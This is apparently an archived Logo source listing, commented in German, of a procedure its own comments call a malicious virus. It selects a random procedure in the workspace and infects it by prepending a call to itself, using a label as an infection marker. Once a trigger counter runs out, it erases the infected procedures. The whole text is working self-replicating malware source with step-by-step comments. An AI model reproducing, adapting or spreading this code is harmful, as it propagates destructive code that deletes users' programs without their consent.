home *** CD-ROM | disk | FTP | other *** search
- TO VIRUSB ; DER BOESARTIGE VIRUS
- LABEL "VIR ; DIE VIRUSKENNUNG
- ; LOKALE VARIABLEN
- LOCAL "RAND
- LOCAL "NAME
- LOCAL "KENN
- LOCAL "ANW_WORT
- LOCAL "ANW_VIRUS
- LOCAL "PAR_LIST
- LOCAL "DEF_NEU
-
- LABEL "START
- MAKE "RAND 1 + RANDOM COUNT PROCLIST ;LOGO-WORT AUSWAEHLEN
- MAKE "NAME ITEM :RAND PROCLIST ;HOLE WORTNAMEN
- MAKE "KENN FIRST BF FIRST BF TEXT :NAME ;KENNUNG HOLEN
- IF (:KENN = ""VIR) [GO "START] ;VIRUS NICHT INFIZIEREN
- IF (NOT :KENN = ""ABC) [GO "INFIZ] ;NOCH NICHT INFIZIERT?
-
- MAKE "VIRUSVAR :VIRUSVAR-1 ;AUSLOESER DECREMENTIEREN
- IF (:VIRUSVAR<0) [ER :NAME] ;TEST AUSLOESER
- STOP
-
- LABEL "INFIZ
- MAKE "PAR_LIST FIRST TEXT :NAME ;PARAMETERLISTE HOLEN
- MAKE "ANW_VIRUS [[LABEL "ABC VIRUSB]] ;AUFRUF VON "VIRUSB
- MAKE "ANW_WORT BF TEXT :NAME ;HOLE WORT-ANWEISUNGEN
- MAKE "DEF_NEU FPUT :PAR_LIST (SE :ANW_VIRUS :ANW_WORT)
- DEFINE :NAME :DEF_NEU ;WORT NEU DEFINIEREN
- END
-